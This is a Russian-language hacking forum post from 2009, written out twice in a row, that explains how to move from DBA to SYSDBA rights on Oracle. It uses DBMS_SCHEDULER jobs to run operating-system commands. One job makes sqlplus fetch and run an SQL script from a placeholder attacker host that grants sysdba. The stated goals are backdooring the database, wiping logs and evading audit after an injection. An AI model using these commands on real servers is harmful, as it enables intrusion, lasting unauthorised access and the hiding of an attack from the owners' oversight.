[ DSU ]
07.12.2009, 01:24
Думал сделать сию тему частью общей статьи по oracle databse hack но пока нет времени закончить большую статьи по этому буду писать статьи небольшие и позже объединю в общий man Oracle DB hack на русском.
Дошли таки руки, начнем.
Мы имеем:
1. DBA (можно и более мелкие главное чтоб был доступ к java или DBMS_SCHEDULER или ALTER SYSTEM)
2. Всё написанное тестировалось на Win32 XP SP3 и Oracle XE (у меня нет лицензии на платный Oracle ак тестировать данные скрипты на рабочем сервере я не стал :) Тут мы будем рассматривать пример только с DBMS_SCHEDULER служба OracleJobScheduler%ORACLE_SID% должна быть запущена иначе нечего не выйдет )
Итак допустим начали мы с иньекции получили dba имеем коннект к listener (это не обязательно если кого интересует как проделать сие не имея доступа к листенеру а просто из скажем union select я объясню отдельно ;)
Имея dba права мы вполне можем исполнять команды в системе используя DBMS_SCHEDULER это просто
begin
dbms_scheduler.create_job (
job_name =>'tstcmd',
job_type =>'executable',
job_action =>'c:\windows\system32\cmd.exe /c echo 123 > c:\123.txt',
enabled => false,
auto_drop => true
);
commit;
end;
/
exec dbms_scheduler.enable('tstcmd')
Думаю данный скрипт не стоит расписывать всё просто просто кратко приведу
job_name =>'tstcmd', --Имя задачи
job_type =>'executable', --тип задачи
job_action =>'c:\windows\system32\cmd.exe /c echo 123 > c:\123.txt', --Сама задача :)
enabled => false, --Активна или нет
auto_drop => true --стереть ли иё после выполнения (
Нам надо бы убрать хотя при желании можно задать интервал иё выполнения используя repeat_interval=> 'FREQ=SECONDLY;INTERVAL=время в секундах'
То есть это так сказать Oracle Cron :)
Ну вот а теперь представим ситуацию есть у нас dba есть возможность запускать системные команды,
по дефолту команды в win32 запускаются от local_system а в *nix от пользователя oracle но по опыту скажу что даже в win32 принято после установки сразу же редактить конфиги и запускать тоже от Oracle пользователя,
но нам скажем надо данную БД протроянить скажем просто надо бы удержать там права как можно дольше, имея dba это можно проделать но не столь эффективно как при sysdba
если ведется аудит то проникнувший персона весьма быстро будет обнаружена вместе со своим трояном, бэкдуром называется как хотите.
ну так вот для того чтоб нам очистить таблицы с логами повесить пару триггеров, процедур или скажем добавить в стандартный пакет какую нить весьма нужную функцию/процедуру
которая будет выполнятся от sys нам нужны sysdba права.
Меньше слов больше кода.
begin
dbms_scheduler.create_job (
1. job_name =>'assysdba',
2. job_type =>'executable',
3. job_action =>'c:\windows\system32\cmd.exe /c sqlplus / as sysdba @http://evilhost.org/getsysdba.sql',
4. enabled => false,
5. auto_drop => true
);
commit;
end;
/
exec dbms_scheduler.enable('assysdba')
А теперь разберем код
1. создаем задачу с именем (может быть любым)
2. объявляем тип задачи в нашем случае executable (вариации имеются но нам они пока не нужны...)
3. Вот тут самое интересное, sqlplus по умолчанию позволяет подключатся как sysdba без логина/пароля если это происходит с локальной системы!
sqlplus / as sysdba @http://evilhost.org/getsysdba.sql -- подключились к бд как sysdba дали файл на исполнение ! знак @ позволяет сразу объявлять какой sql скрипт выполнить
Если указать просто @filename.sql то sqlplus будет в oracle_home и в своей bin папке искать скрипт но sqlplus умеет загружать файлы с сети...
Если Бд находится на машине на которой нет доступа в нэт то можно либо на сетевую залить либо записать на диск опять же использую DBMS_SCHEDULER или java это просто думаю нет смысла разжевывать.
4. активна/неактивна
5. выполнить один раз и стереть задачу.
Файл sql может быть любым но желательно включить в конец файла exit; чтоб после его выполнения sqlplus закрыл сессию.
Пример :
grant sysdba to tsst;
exit;
Заключение:
Имея dba можно получить sysdba это конечно связано с некоторыми "если" но как показывает практика в большинстве случаев эти "если" имеют место быть.
Данной статьей я хотел показать что Oracle можно не только взломать но и гораздо больше получив sysdba устранить логирование и обойти некоторые системы аудита.
Логвайпер и сам бэкдур я выкладывать не стал так как писать такое не сложно нужно просто знать, где что у oracle находится :)
Плюс на ачате не очень популярна эта бд а кидать попросту в некуда нет смысла кому надо разберется а кто не сможет спросит :)
P.S сорри за мой русский, язык не родной.
(с) 2009 by dsu (http://dsu.com.ua/) from Ukrainian Security Community (http://uasc.org.ua/)
Дошли таки руки, начнем.
Мы имеем:
1. DBA (можно и более мелкие главное чтоб был доступ к java или DBMS_SCHEDULER или ALTER SYSTEM)
2. Всё написанное тестировалось на Win32 XP SP3 и Oracle XE (у меня нет лицензии на платный Oracle ак тестировать данные скрипты на рабочем сервере я не стал :) Тут мы будем рассматривать пример только с DBMS_SCHEDULER служба OracleJobScheduler%ORACLE_SID% должна быть запущена иначе нечего не выйдет )
Итак допустим начали мы с иньекции получили dba имеем коннект к listener (это не обязательно если кого интересует как проделать сие не имея доступа к листенеру а просто из скажем union select я объясню отдельно ;)
Имея dba права мы вполне можем исполнять команды в системе используя DBMS_SCHEDULER это просто
begin
dbms_scheduler.create_job (
job_name =>'tstcmd',
job_type =>'executable',
job_action =>'c:\windows\system32\cmd.exe /c echo 123 > c:\123.txt',
enabled => false,
auto_drop => true
);
commit;
end;
/
exec dbms_scheduler.enable('tstcmd')
Думаю данный скрипт не стоит расписывать всё просто просто кратко приведу
job_name =>'tstcmd', --Имя задачи
job_type =>'executable', --тип задачи
job_action =>'c:\windows\system32\cmd.exe /c echo 123 > c:\123.txt', --Сама задача :)
enabled => false, --Активна или нет
auto_drop => true --стереть ли иё после выполнения (
Нам надо бы убрать хотя при желании можно задать интервал иё выполнения используя repeat_interval=> 'FREQ=SECONDLY;INTERVAL=время в секундах'
То есть это так сказать Oracle Cron :)
Ну вот а теперь представим ситуацию есть у нас dba есть возможность запускать системные команды,
по дефолту команды в win32 запускаются от local_system а в *nix от пользователя oracle но по опыту скажу что даже в win32 принято после установки сразу же редактить конфиги и запускать тоже от Oracle пользователя,
но нам скажем надо данную БД протроянить скажем просто надо бы удержать там права как можно дольше, имея dba это можно проделать но не столь эффективно как при sysdba
если ведется аудит то проникнувший персона весьма быстро будет обнаружена вместе со своим трояном, бэкдуром называется как хотите.
ну так вот для того чтоб нам очистить таблицы с логами повесить пару триггеров, процедур или скажем добавить в стандартный пакет какую нить весьма нужную функцию/процедуру
которая будет выполнятся от sys нам нужны sysdba права.
Меньше слов больше кода.
begin
dbms_scheduler.create_job (
1. job_name =>'assysdba',
2. job_type =>'executable',
3. job_action =>'c:\windows\system32\cmd.exe /c sqlplus / as sysdba @http://evilhost.org/getsysdba.sql',
4. enabled => false,
5. auto_drop => true
);
commit;
end;
/
exec dbms_scheduler.enable('assysdba')
А теперь разберем код
1. создаем задачу с именем (может быть любым)
2. объявляем тип задачи в нашем случае executable (вариации имеются но нам они пока не нужны...)
3. Вот тут самое интересное, sqlplus по умолчанию позволяет подключатся как sysdba без логина/пароля если это происходит с локальной системы!
sqlplus / as sysdba @http://evilhost.org/getsysdba.sql -- подключились к бд как sysdba дали файл на исполнение ! знак @ позволяет сразу объявлять какой sql скрипт выполнить
Если указать просто @filename.sql то sqlplus будет в oracle_home и в своей bin папке искать скрипт но sqlplus умеет загружать файлы с сети...
Если Бд находится на машине на которой нет доступа в нэт то можно либо на сетевую залить либо записать на диск опять же использую DBMS_SCHEDULER или java это просто думаю нет смысла разжевывать.
4. активна/неактивна
5. выполнить один раз и стереть задачу.
Файл sql может быть любым но желательно включить в конец файла exit; чтоб после его выполнения sqlplus закрыл сессию.
Пример :
grant sysdba to tsst;
exit;
Заключение:
Имея dba можно получить sysdba это конечно связано с некоторыми "если" но как показывает практика в большинстве случаев эти "если" имеют место быть.
Данной статьей я хотел показать что Oracle можно не только взломать но и гораздо больше получив sysdba устранить логирование и обойти некоторые системы аудита.
Логвайпер и сам бэкдур я выкладывать не стал так как писать такое не сложно нужно просто знать, где что у oracle находится :)
Плюс на ачате не очень популярна эта бд а кидать попросту в некуда нет смысла кому надо разберется а кто не сможет спросит :)
P.S сорри за мой русский, язык не родной.
(с) 2009 by dsu (http://dsu.com.ua/) from Ukrainian Security Community (http://uasc.org.ua/)